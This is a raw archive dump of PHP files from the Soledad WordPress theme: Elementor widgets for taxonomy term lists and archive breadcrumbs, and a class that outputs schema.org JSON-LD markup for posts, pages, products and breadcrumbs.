			'term_bghcolor',
			array(
				'label'     => 'Term Background Hover & Active Color',
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} a.pctmp-term-item:hover,{{WRAPPER}} a.pctmp-term-item.current-item' => 'background-color:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'term_bcolor',
			array(
				'label'     => 'Term Borders Color',
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .pctmp-term-item' => 'border-color:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'term_bhcolor',
			array(
				'label'     => 'Term Borders Hover & Active Color',
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} a.pctmp-term-item:hover,{{WRAPPER}} a.pctmp-term-item.current-item' => 'border-color:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'term_padding',
			array(
				'label'      => 'Term Item Padding',
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pctmp-term-item' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
			)
		);

		$this->add_control(
			'term_border',
			array(
				'label'      => 'Term Item Border',
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pctmp-term-item' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
			)
		);

		$this->add_control(
			'term_border_style',
			array(
				'label'     => 'Term Borders Style',
				'type'      => Controls_Manager::SELECT,
				'options'   => array(
					'dotted' => 'Dotted',
					'dashed' => 'Dashed',
					'solid'  => 'Solid',
					'double' => 'Double',
					'groove' => 'Groove',
					'ridge'  => 'Ridge',
					'inset'  => 'Inset',
					'outset' => 'Outset',
				),
				'selectors' => array( '{{WRAPPER}} .pctmp-term-item' => 'border-style:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'term_border_radius',
			array(
				'label'      => 'Term Item Borders Radius',
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pctmp-term-item' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
			)
		);

		$this->end_controls_section();
	}

	protected function render() {

		if ( penci_elementor_is_edit_mode() ) {
			$this->preview_content();
		} else {
			$this->builder_content();
		}
	}

	protected function preview_content() {
		$settings   = $this->get_settings();
		$term_style = $settings['term_style'];
		$taxonomies = $settings['taxonomies'];
		$class      = isset( $settings['term_align'] ) && $settings['term_align'] ? 'pctax' . $settings['term_align'] : 'pctaxleft';
		$count      = '';
		$demo_lists = array(
			'Sport',
			'Football',
			'Tennis',
			'Volleyball',
			'Joke',
		);
		if ( $settings['tax_showall'] == 'custom' && ! empty( $taxonomies ) ) {
			?>
			<div class="pc-tax-lists">
				<ul class="pctmp-term-list term-style-<?php echo esc_attr( $term_style . ' ' . $class ); ?>">
					<?php
					foreach ( $taxonomies as $term_id ) {
						$term = get_term( $term_id );
						if ( $settings['tax_showcount'] ) {
							$count = '<span class="count">(' . $term->count . ')</span>';
						}
						echo '<li><a class="pctmp-term-item" href="' . get_term_link( $term->term_id ) . '">' . esc_html( $term->name ) . $count . '</a></li>';
					}
					?>
				</ul>
			</div>
			<?php
		} else {
			?>
			<div class="pc-tax-lists">
				<ul class="pctmp-term-list term-style-<?php echo esc_attr( $term_style . ' ' . $class ); ?>">
					<?php
					foreach ( $demo_lists as $list ) {
						if ( $settings['tax_showcount'] ) {
							$count = '<span class="count">(' . rand( 0, 99 ) . ')</span>';
						}
						echo '<li><a class="pctmp-term-item" href="#">' . $list . $count . '</a></li>';
					}
					?>
				</ul>
			</div>
			<?php
		}
	}

	protected function builder_content() {
		$settings   = $this->get_settings();
		$term_style = $settings['term_style'];
		$taxonomies = $settings['taxonomies'];
		$queries    = get_queried_object();
		$class      = isset( $settings['term_align'] ) && $settings['term_align'] ? 'pctax' . $settings['term_align'] : 'pctaxleft';
		$count      = '';
		if ( ! isset( $queries->taxonomy ) || ( $settings['tax_showall'] == 'custom' && empty( $taxonomies ) ) ) {
			return false;
		}

		$args = array(
			'taxonomy' => $queries->taxonomy,
			'orderby'  => $settings['orderby'],
			'order'    => $settings['order'],
		);

		if ( $settings['taxonomies_ex'] ) {
			$args['exclude'] = $settings['taxonomies_ex'];
		}

		if ( $settings['number'] && 'rand' != $settings['orderby'] ) {
			$args['number'] = $settings['number'];
		}

		if ( $settings['tax_showall'] == 'child' ) {
			$args['child_of'] = $queries->term_id;
		}

		$term_data    = get_queried_object();
		$current_term = ! empty( $term_data ) && isset( $term_data->term_id ) && $term_data->term_id ? $term_data->term_id : '';

		$terms = get_terms( $args );
		if ( $terms && $settings['tax_showall'] !== 'custom' ) {

			if ( 'rand' == $settings['orderby'] ) {
				shuffle( $terms );
			}

			?>
			<div class="pc-tax-lists">
				<ul class="pctmp-term-list term-style-<?php echo esc_attr( $term_style . ' ' . $class ); ?>">
					<?php
					$t_count = 0;
					foreach ( $terms as $term ) {
						$prefix_class = 'category' == $term->taxonomy ? 'cat' : esc_attr( $term->taxonomy );
						$class        = 'penci-' . $prefix_class . '-name penci-' . $prefix_class . '-' . $term->slug . ' penci-' . $prefix_class . '-' . $term->term_id;

						if ( $t_count++ == $settings['number'] && 'rand' == $settings['orderby'] ) {
							break;
						}
						if ( $settings['tax_showcount'] ) {
							$count = '<span class="count">(' . $term->count . ')</span>';
						}
						if ( $term->term_id == $current_term && 'yes' == $settings['tax_currentitem'] ) {
							$class .= ' current-item';
						}
						echo '<li><a class="pctmp-term-item ' . $class . '" href="' . get_term_link( $term->term_id ) . '">' . esc_html( $term->name ) . $count . '</a></li>';
					}
					?>
				</ul>
			</div>
			<?php
		} elseif ( $settings['tax_showall'] == 'custom' && ! empty( $taxonomies ) ) {
			?>
			<div class="pc-tax-lists">
				<ul class="pctmp-term-list term-style-<?php echo esc_attr( $term_style . ' ' . $class ); ?>">
					<?php
					foreach ( $taxonomies as $term_id ) {
						$term         = get_term( $term_id );
						$prefix_class = 'category' == $term->taxonomy ? 'cat' : esc_attr( $term->taxonomy );
						$class        = 'penci-' . $prefix_class . '-name penci-' . $prefix_class . '-' . $term->slug . ' penci-' . $prefix_class . '-' . $term->term_id;
						if ( $settings['tax_showcount'] ) {
							$count = '<span class="count">(' . $term->count . ')</span>';
						}
						if ( $term->term_id == $current_term && 'yes' == $settings['tax_currentitem'] ) {
							$class .= ' current-item';
						}
						echo '<li><a class="pctmp-term-item ' . $class . '" href="' . get_term_link( $term->term_id ) . '">' . esc_html( $term->name ) . $count . '</a></li>';
					}
					?>
				</ul>
			</div>
			<?php
		}
	}
}
PK     N\:l   l   4  inc/template-builder/archive-elements/breadcrumb.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciArchiveBreadcrumb extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Archive - Breadcrumb', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-navigation-horizontal';
	}

	public function get_categories() {
		return [ 'penci-custom-archive-builder' ];
	}

	public function get_keywords() {
		return [ 'archive', 'breadcrumb' ];
	}

	protected function get_html_wrapper_class() {
		return 'pcab-abrcrb elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-archive-breadcrumb';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'breadcrumb_align', [
			'label'     => __( 'Breadcrumb Align', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::CHOOSE,
			'default'   => 'left',
			'options'   => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'toggle'    => true,
			'selectors' => [ '{{WRAPPER}} .penci-breadcrumb' => 'text-align:{{VALUE}}' ],
		] );

		$this->end_controls_section();


		$this->start_controls_section( 'color_style', [
			'label' => esc_html__( 'Color & Styles', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'breadcrumb-typo',
			'label'    => __( 'Typography for BreadCrumb', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-breadcrumb,{{WRAPPER}} .penci-breadcrumb *',
		) );

		$this->add_control( 'breadcrumb-t-color', [
			'label'     => 'BreadCrumb Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-breadcrumb,{{WRAPPER}} .penci-breadcrumb span,{{WRAPPER}} .penci-breadcrumb i,{{WRAPPER}} .penci-breadcrumb a' => 'color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'breadcrumb-l-hcolor', [
			'label'     => 'BreadCrumb Text Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-breadcrumb a:hover' => 'color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'breadcrumb-spacing', [
			'label'     => 'BreadCrumb Spacing',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 300, 'step' => 0.5 ) ),
			'selectors' => [ '{{WRAPPER}} .container.penci-breadcrumb i,{{WRAPPER}} .container.penci-breadcrumb span.separator' => 'margin-left:{{SIZE}}px;margin-right:calc({{SIZE}}px - 4px)' ],
		] );

		$this->end_controls_section();

	}

	protected function render() {

		if ( is_category() ) {
			$this->builder_category_content();
		} elseif ( is_tag() ) {
			$this->builder_tag_content();
		} else {
			$this->builder_archive_content();
		}

	}

	protected function builder_category_content() {
		$settings          = $this->get_settings();
		$sidebar_position  = penci_get_sidebar_position_archive();
		$two_sidebar_class = '';
		if ( 'two-sidebar' == $sidebar_position ): $two_sidebar_class = ' two-sidebar'; endif;
		$yoast_breadcrumb = $rm_breadcrumb = '';

		$category_oj = get_queried_object();
		$fea_cat_id  = $category_oj->term_id;

		if ( function_exists( 'yoast_breadcrumb' ) ) {
			$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-crumb-inside penci-breadcrumb' . $two_sidebar_class . '">', '</div>', false );
		}

		if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
			$rm_breadcrumb = rank_math_get_breadcrumbs( [
				'wrap_before' => '<div class="container penci-crumb-inside penci-breadcrumb' . $two_sidebar_class . '"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
				'wrap_after'  => '</nav></div>',
			] );
		}

		if ( $rm_breadcrumb ) {
			echo $rm_breadcrumb;
		} elseif ( $yoast_breadcrumb ) {
			echo $yoast_breadcrumb;
		} else { ?>
            <div class="container penci-crumb-inside penci-breadcrumb<?php echo $two_sidebar_class; ?>">
            <span><a class="crumb"
                     href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
				<?php
				$parent_ID = penci_get_category_parent_id( $fea_cat_id );
				if ( $parent_ID ):
					echo penci_get_category_parents( $parent_ID );
				endif;
				?>
                <span><?php single_cat_title( '', true ); ?></span>
            </div>
		<?php }
	}

	protected function builder_tag_content() {
		$sidebar_position  = penci_get_sidebar_position_archive();
		$two_sidebar_class = '';
		if ( 'two-sidebar' == $sidebar_position ): $two_sidebar_class = ' two-sidebar'; endif;
		$yoast_breadcrumb = $rm_breadcrumb = '';
		if ( function_exists( 'yoast_breadcrumb' ) ) {
			$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-breadcrumb penci-crumb-inside' . $two_sidebar_class . '">', '</div>', false );
		}

		if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
			$rm_breadcrumb = rank_math_get_breadcrumbs( [
				'wrap_before' => '<div class="container penci-breadcrumb penci-crumb-inside' . $two_sidebar_class . '"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
				'wrap_after'  => '</nav></div>',
			] );
		}

		if ( $rm_breadcrumb ) {
			echo $rm_breadcrumb;
		} elseif ( $yoast_breadcrumb ) {
			echo $yoast_breadcrumb;
		} else { ?>
            <div class="container penci-breadcrumb penci-crumb-inside<?php echo $two_sidebar_class; ?>">
                            <span><a class="crumb"
                                     href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
                <span><?php echo penci_get_setting( 'penci_trans_tags' ); ?></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
                <span><?php printf( penci_get_setting( 'penci_trans_posts_tagged' ) . ' "%s"', single_tag_title( '', false ) ); ?></span>
            </div>
		<?php }
	}

	protected function builder_archive_content() {
		$sidebar_position  = penci_get_sidebar_position_archive();
		$two_sidebar_class = '';
		if ( 'two-sidebar' == $sidebar_position ): $two_sidebar_class = ' two-sidebar'; endif;
		$yoast_breadcrumb = $rm_breadcrumb = '';
		if ( function_exists( 'yoast_breadcrumb' ) ) {
			$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-breadcrumb penci-crumb-inside' . $two_sidebar_class . '">', '</div>', false );
		}
		if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
			$rm_breadcrumb = rank_math_get_breadcrumbs( [
				'wrap_before' => '<div class="container penci-breadcrumb penci-crumb-inside' . $two_sidebar_class . '"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
				'wrap_after'  => '</nav></div>',
			] );
		}
		if ( $rm_breadcrumb ) {
			echo $rm_breadcrumb;
		} elseif ( $yoast_breadcrumb ) {
			echo $yoast_breadcrumb;
		} else { ?>
            <div class="container penci-breadcrumb penci-crumb-inside">
                            <span><a class="crumb"
                                     href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
				<?php
				echo '<span>';
				echo penci_get_setting( 'penci_trans_archives' );
				echo '</span>';
				?>
            </div>
		<?php }
	}

	protected function preview_content() {
		$settings    = $this->get_settings();
		$heading_tag = $settings['heading_markup'];
		?>
        <div class="archive-box">
            <div class="title-bar">
                <<?php echo $heading_tag; ?> class="page-title">
				<?php _e( 'General Archive Title', 'soledad' ); ?>
            </<?php echo $heading_tag; ?>>
        </div>
        </div>
		<?php
	}
}
PK     N\ʝI  I    inc/json-schema-validar.phpnu [        <?php
if ( ! class_exists( 'Penci_JSON_Schema_Validator' ) ) {

	/**
	 * JSON Schema object
	 *
	 * Class Penci_JSON_Schema_Validator
	 */
	class Penci_JSON_Schema_Validator {

		function __construct() {
			add_action( 'wp_head', array( $this, 'output_schema' ) );
		}

		public static function pre_data_schema() {
			$data = array();
			if ( ! get_theme_mod( 'penci_schema_organization' ) ) {
				$data['organization'] = self::generate_data();
			}
			if ( ! get_theme_mod( 'penci_schema_website' ) ) {
				$data['website'] = self::website_data();
			}

			if ( is_singular() && ! is_front_page() && ! get_theme_mod( 'penci_schema_single' ) ) {

				if ( is_page() ) {
					$data['page'] = self::page_data();
				} elseif ( function_exists( 'is_product' ) && is_product() ) {
					$data['product'] = self::product_data();
				} else {
					$data['single'] = self::single_data();
				}
			}

			$yoast_bread_enabled = current_theme_supports( 'yoast-seo-breadcrumbs' );
			$breadcrumbs_enabled = false;
			if ( ! $yoast_bread_enabled && class_exists( 'WPSEO_Options' ) ) {
				if ( defined( 'WPSEO_PREMIUM_PLUGIN_FILE' ) ) {
					$options = get_option( 'wpseo_internallinks' );
					if ( isset( $options['breadcrumbs-enable'] ) && $options['breadcrumbs-enable'] == true ) {
						$breadcrumbs_enabled = true;
					}
				} elseif ( method_exists( 'WPSEO_Options', 'get' ) && is_callable( array( 'WPSEO_Options', 'get' ) ) ) {
					$breadcrumbs_enabled = WPSEO_Options::get( 'breadcrumbs-enable', false );
				}
			}

			if ( ! is_front_page() && ! $breadcrumbs_enabled && ! get_theme_mod( 'penci_schema_breadcrumbs' ) ) {
				$data['BreadcrumbList'] = self::BreadcrumbList_data();
			}

			if ( is_singular( 'post' ) && get_theme_mod( 'penci_post_use_newsarticle' ) ) {
				$data['NewsArticle'] = self::newsarticle_data();
			}

			return $data;
		}

		/**
		 * Outut schema with data each element
		 */
		public static function output_schema() {

			$pre_data_schema = self::pre_data_schema();

			if ( ! empty( $pre_data_schema ) ) {
				foreach ( $pre_data_schema as $json ) {
					echo '<script type="application/ld+json">' . wp_json_encode( $json, JSON_PRETTY_PRINT ) . '</script>';
				}
			}
		}

		/**
		 * Organization Schema
		 *
		 * @return array
		 */
		public static function generate_data() {

			$data_logo = '';
			$url_logo  = self::get_url_logo();
			if ( $url_logo ) {
				$data_logo = array(
					'@type' => 'ImageObject',
					'url'   => $url_logo,
				);
			}

			return array(
				'@context'    => 'https://schema.org/',
				'@type'       => 'organization',
				'@id'         => '#organization',
				'logo'        => $data_logo,
				'url'         => home_url( '/' ),
				'name'        => get_bloginfo( 'name' ),
				'description' => esc_attr( get_bloginfo( 'description' ) ),
			);
		}

		/**
		 * WebSite schema
		 *
		 * @return array
		 */
		public static function website_data() {
			$data = array(
				'@context'      => 'https://schema.org/',
				'@type'         => 'WebSite',
				'name'          => esc_attr( get_bloginfo( 'name' ) ),
				'alternateName' => esc_attr( get_bloginfo( 'description' ) ),
				'url'           => home_url( '/' ),
			);

			if ( is_home() || is_front_page() ) {
				$data['potentialAction'] = array(
					'@type'       => 'SearchAction',
					'target'      => get_search_link() . '{search_term}',
					'query-input' => 'required name=search_term',
				);
			}

			return $data;
		}

		public static function single_data() {
			return self::singular_data();
		}

		public static function page_data() {
			return self::singular_data( 'WebPage' );
		}

		public static function product_data() {
			$product       = wc_get_product();
			$schema_markup = self::singular_data( 'Product' );

			$schema_markup['name']           = isset( $schema_markup['headline'] ) ? $schema_markup['headline'] : '';
			$schema_markup['brand']          = isset( $schema_markup['publisher'] ) ? $schema_markup['publisher'] : '';
			$schema_markup['productionDate'] = isset( $schema_markup['datePublished'] ) ? $schema_markup['datePublished'] : '';

			$rating = $product->get_rating_count();

			if ( $rating ) {
				$schema_markup['aggregateRating'] = array(
					'@type'       => 'AggregateRating',
					'ratingValue' => wc_format_decimal( $product->get_average_rating(), 2 ),
					'reviewCount' => intval( $rating ),
				);
			}

			$schema_markup['offers'] = array(
				'@type'         => 'Offer',
				'url'           => get_the_permalink(),
				'priceCurrency' => get_woocommerce_currency(),
				'price'         => $product->get_price(),
				'availability'  => 'https://schema.org/' . ( $product->is_in_stock() ? 'InStock' : 'OutOfStock' ),
			);

			unset( $schema_markup['headline'] );
			unset( $schema_markup['datePublished'] );
			unset( $schema_markup['datemodified'] );
			unset( $schema_markup['publisher'] );
			unset( $schema_markup['author'] );

			return $schema_markup;
		}

		public static function newsarticle_data() {
			global $post;

			$post_id   = isset( $post->ID ) ? $post->ID : '';
			$permalink = get_permalink( $post_id );

			$post_title     = isset( $post->post_title ) ? $post->post_title : '';
			$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
			$post_excerpt   = ! get_theme_mod( 'penci_excerptcharac' ) ? get_the_excerpt() : penci_get_the_excerpt( null, $excerpt_length );

			$featured_image   = wp_get_attachment_image_src( get_post_thumbnail_id(), 'full' );
			$featured_image_0 = isset( $featured_image[0] ) ? $featured_image[0] : penci_get_default_thumbnail_url();

			$schema_markup = array(
				'@context'         => 'https://schema.org',
				'@type'            => 'NewsArticle',
				'headline'         => $post_title,
				'image'            => $featured_image_0,
				'datePublished'    => get_the_date(DATE_W3C),
				'datemodified'     => get_the_modified_date(DATE_W3C),
				'description'      => $post_excerpt,
				'mainEntityOfPage' => $permalink,
			);

			// publisher
			$schema_markup['publisher'] = array(
				'@type' => 'Organization',
				'name'  => esc_attr( get_bloginfo( 'name' ) ),
			);

			$url_logo = self::get_url_logo();
			if ( $url_logo ) {
				$schema_markup['publisher']['logo'] = array(
					'@type' => 'ImageObject',
					'url'   => $url_logo,
				);
			}

			// Author
			$post_author = isset( $post->post_author ) ? $post->post_author : '';
			$author      = get_the_author_meta( 'display_name', $post_author );
			$author_url  = get_author_posts_url( get_the_author_meta( 'ID', $post_author ) );
			if ( $author ) {
				$schema_markup['author'] = array(
					'@type' => 'Person',
					'@id'   => '#person-' . sanitize_html_class( $author ),
					'name'  => $author,
					'url'   => $author_url,
				);
			}

			$schema_return = apply_filters( 'soledad_schema', $schema_markup );

			return $schema_return;
		}

		public static function singular_data( $type = '', $args = array() ) {
			global $post;

			if ( ! $type ) {
				$type = 'BlogPosting';
			}

			$post_id   = isset( $post->ID ) ? $post->ID : '';
			$permalink = get_permalink( $post_id );

			$post_title     = isset( $post->post_title ) ? $post->post_title : '';
			$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
			$post_excerpt   = ! get_theme_mod( 'penci_excerptcharac' ) ? get_the_excerpt() : penci_get_the_excerpt( null, $excerpt_length );
			$post_excerpt   = $post_excerpt ? $post_excerpt : $post_title;
			$post_type      = isset( $post->post_type ) ? $post->post_type : '';

			$schema_markup = array(
				'@context'         => 'https://schema.org/',
				'@type'            => $type,
				'headline'         => $post_title,
				'description'      => $post_excerpt,
				'datePublished'    => get_the_date(DATE_W3C),
				'datemodified'     => get_the_modified_date(DATE_W3C),
				'mainEntityOfPage' => $permalink,
			);

			// Featured img
			$featured_image   = wp_get_attachment_image_src( get_post_thumbnail_id(), 'full' );
			$featured_image_0 = isset( $featured_image[0] ) ? $featured_image[0] : penci_get_default_thumbnail_url();
			if ( $featured_image_0 ) {
				$schema_markup['image'] = array(
					'@type' => 'ImageObject',
					'url'   => $featured_image_0,
				);

				$featured_image_width  = isset( $featured_image[1] ) ? $featured_image[1] : '';
				$featured_image_height = isset( $featured_image[2] ) ? $featured_image[2] : '';

				if ( $featured_image_width && $featured_image_height ) {
					$schema_markup['image']['width']  = $featured_image_width;
					$schema_markup['image']['height'] = $featured_image_height;
				}
			}

			// publisher
			$schema_markup['publisher'] = array(
				'@type' => 'Organization',
				'name'  => esc_attr( get_bloginfo( 'name' ) ),
			);

			$url_logo = self::get_url_logo();
			if ( $url_logo ) {
				$schema_markup['publisher']['logo'] = array(
					'@type' => 'ImageObject',
					'url'   => $url_logo,
				);
			}

			// Author
			$post_author = isset( $post->post_author ) ? $post->post_author : '';
			$author      = get_the_author_meta( 'display_name', $post_author );
			$author_url  = get_author_posts_url( get_the_author_meta( 'ID', $post_author ) );
			if ( $author ) {
				$schema_markup['author'] = array(
					'@type' => 'Person',
					'@id'   => '#person-' . sanitize_html_class( $author ),
					'name'  => $author,
					'url'   => $author_url,
				);
			}

			// Post format
			if ( 'post' == $post_type ) {
				$format = get_post_format();

				if ( 'video' == $format ) {
					$schema_markup['@type'] = 'VideoObject';

					$video = get_post_meta( $post_id, '_format_video_embed', true );

					if ( ! wp_oembed_get( $video ) ) {
						$schema_markup['contentUrl'] = $video;
					}

					$schema_markup['name']         = isset( $schema_markup['headline'] ) ? $schema_markup['headline'] : '';
					$schema_markup['thumbnailUrl'] = isset( $schema_markup['image']['url'] ) ? $schema_markup['image']['url'] : '';
					$schema_markup['uploadDate']   = isset( $schema_markup['datePublished'] ) ? $schema_markup['datePublished'] : '';

					unset( $schema_markup['headline'] );
					unset( $schema_markup['datePublished'] );
					unset( $schema_markup['dateModified'] );
					unset( $schema_markup['image'] );

				} elseif ( 'audio' == $format ) {
					$schema_markup['@type'] = 'AudioObject';
					$audio                  = get_post_meta( $post_id, '_format_audio_embed', true );
					$audio_str              = substr( $audio, - 4 );

					if ( wp_oembed_get( $audio ) ) {

					} elseif ( $audio_str == '.mp3' ) {
						$schema_markup['contentUrl'] = esc_url( $audio );
					} else {
						$schema_markup['contentUrl'] = sanitize_text_field( $audio );
					}
				} elseif ( 'image' == $format ) {
					$schema_markup['@type'] = 'ImageObject';
				} elseif ( 'gallery' == $format ) {
					$schema_markup['@type'] = 'ImageObject';
				}
			}

			return $schema_markup;
		}

		public static function get_url_logo() {
			$logo = PENCI_SOLEDAD_URL . '/images/logo.png';
			if ( get_theme_mod( 'penci_logo' ) ) {
				$logo = get_theme_mod( 'penci_logo' );
			}
			if ( get_theme_mod( 'penci_logo_schema' ) ) {
				$logo = get_theme_mod( 'penci_logo_schema' );
			}

			return $logo;
		}

		public static function BreadcrumbList_data() {
			global $wp;

			$itemListElement = array();
			$items           = array();

			$items[] = array(
				'id'   => home_url(),
				'name' => penci_get_setting( 'penci_trans_home' ),
			);

			if ( is_home() && ! is_front_page() ) {
				$page    = get_option( 'page_for_posts' );
				$items[] = array(
					'id'   => get_permalink( $page ),
					'name' => get_the_title( $page ),
				);
			} elseif ( is_post_type_archive( 'portfolio' ) || is_tax( 'portfolio-category' ) ) {

				$current_term     = get_queried_object();
				$current_term_tax = isset( $current_term->taxonomy ) ? $current_term->taxonomy : '';
				$terms            = penci_get_term_parents( get_queried_object_id(), $current_term_tax );

				foreach ( (array) $terms as $term_id ) {
					$term    = get_term( $term_id, $current_term->taxonomy );
					$items[] = array(
						'id'   => get_category_link( $term_id ),
						'name' => $term->name,
					);
				}

				$current_term_label = isset( $current_term->label ) ? $current_term->label : $current_term->name;
				$current_term_id    = isset( $current_term->term_id ) ? $current_term->term_id : '';

				$items[] = array(
					'id'   => get_category_link( $current_term_id ),
					'name' => $current_term_label,
				);
			} elseif ( is_single() ) {

				// Terms
				$terms = get_the_terms( get_the_ID(), 'category' );

				if ( ! is_wp_error( $terms ) && ! empty( $terms ) ) {
					$term    = penci_bread_primary_term( current( $terms ), 'category' );
					$terms   = penci_get_term_parents( $term->term_id, 'category' );
					$terms[] = $term->term_id;
					foreach ( $terms as $term_id ) {
						$term = get_term( $term_id, 'category' );
						if ( ! is_wp_error( $term ) && ! empty( $term ) ) {
							$items[] = array(
								'id'   => get_term_link( $term, 'category' ),
								'name' => $term->name,
							);
						}
					}
					$items[] = array(
						'id'   => get_permalink(),
						'name' => get_the_title(),
					);
				}
			} elseif ( is_page() ) {
				$pages = penci_get_post_parents( get_queried_object_id() );
				foreach ( $pages as $page ) {
					$items[] = array(
						'id'   => get_permalink( $page ),
						'name' => get_the_title( $page ),
					);
				}

				$items[] = array(
					'id'   => '',
					'name' => get_the_title(),
				);
			} elseif ( is_tax() || is_category() || is_tag() ) {
				$current_term = get_queried_object();
				$terms        = penci_get_term_parents( get_queried_object_id(), $current_term->taxonomy );

				foreach ( $terms as $term_id ) {
					$term = get_term( $term_id, $current_term->taxonomy );

					$items[] = array(
						'id'   => get_category_link( $term_id ),
						'name' => $term->name,
					);
				}

				$current_term_id = isset( $current_term->term_id ) ? $current_term->term_id : '';

				$items[] = array(
					'id'   => get_category_link( $current_term_id ),
					'name' => $current_term->name,
				);
			} elseif ( is_search() ) {
				$items[] = array(
					'id'   => get_search_link( get_search_query() ),
					'name' => sprintf( esc_html__( '%1$s &quot;%2$s&quot;', 'soledad' ), penci_get_setting( 'penci_trans_search' ), get_search_query() ),
				);
			} elseif ( is_404() ) {
				$items[] = array(
					'id'   => '',
					'name' => esc_html__( 'Not Found', 'soledad' ),
				);
			} elseif ( is_author() ) {
				$author_url = get_author_posts_url( get_the_author_meta( 'ID' ) );

				$items[] = array(
					'id'   => $author_url,
					'name' => sprintf(
						esc_html__( '%1$s %2$s', 'soledad' ),
						esc_html__( 'Author', 'soledad' ),
						'<span class="vcard"><a class="url fn n" href="' . $author_url . '" title="' . esc_attr( get_the_author() ) . '" rel="me">' . get_the_author() . '</a></span>'
					),
				);
			} elseif ( is_day() ) {
				$items[] = array(
					'id'   => home_url( add_query_arg( array(), $wp->request ) ),
					'name' => sprintf( esc_html__( '%1$s %2$s', 'soledad' ), esc_html__( 'Day Archives:', 'soledad' ), get_the_date() ),
				);
			} elseif ( is_month() ) {
				$items[] = array(
					'id'   => home_url( add_query_arg( array(), $wp->request ) ),
					'name' => sprintf( esc_html__( '%1$s %2$s', 'soledad' ), esc_html__( 'Monthly Archives:', 'soledad' ), get_the_date( 'F Y' ) ),
				);
			} elseif ( is_year() ) {
				$items[] = array(
					'id'   => home_url( add_query_arg( array(), $wp->request ) ),
					'name' => sprintf( esc_html__( '%1$s %2$s', 'soledad' ), esc_html__( 'Yearly Archives:', 'soledad' ), get_the_date( 'Y' ) ),
				);
			} else {
				$items[] = array(
					'id'   => home_url( add_query_arg( array(), $wp->request ) ),
					'',
					'name' => penci_get_setting( 'penci_trans_archives' ),
				);
			}

			$pos_item = 1;
			foreach ( $items as $item ) {
				$itemListElement[] = array(
					'@type'    => 'ListItem',
					'position' => absint( $pos_item ),
					'item'     => array(
						'@id'  => $item['id'],
						'name' => $item['name'],
					),
				);

				// $itemListElement .= '{"@type": "ListItem","position": ' . absint( $pos_item ) . ',"item":{"@id": "' . $item['id'] . '","name": "' . $item['name'] . '"}}';
				++ $pos_item;
			}

			$output = array(
				'@context'        => 'https://schema.org/',
				'@type'           => 'BreadcrumbList',
				'itemListElement' => $itemListElement,
			);

			return $output;
		}
	}
}

new Penci_JSON_Schema_Validator();

/**
 * Gets parent posts' IDs of any post type, include current post
 * Modified from Hybrid Framework
 *
 * @param int|string $post_id ID of the post whose parents we want.
 *
 * @return array Array of parent posts' IDs.
 */
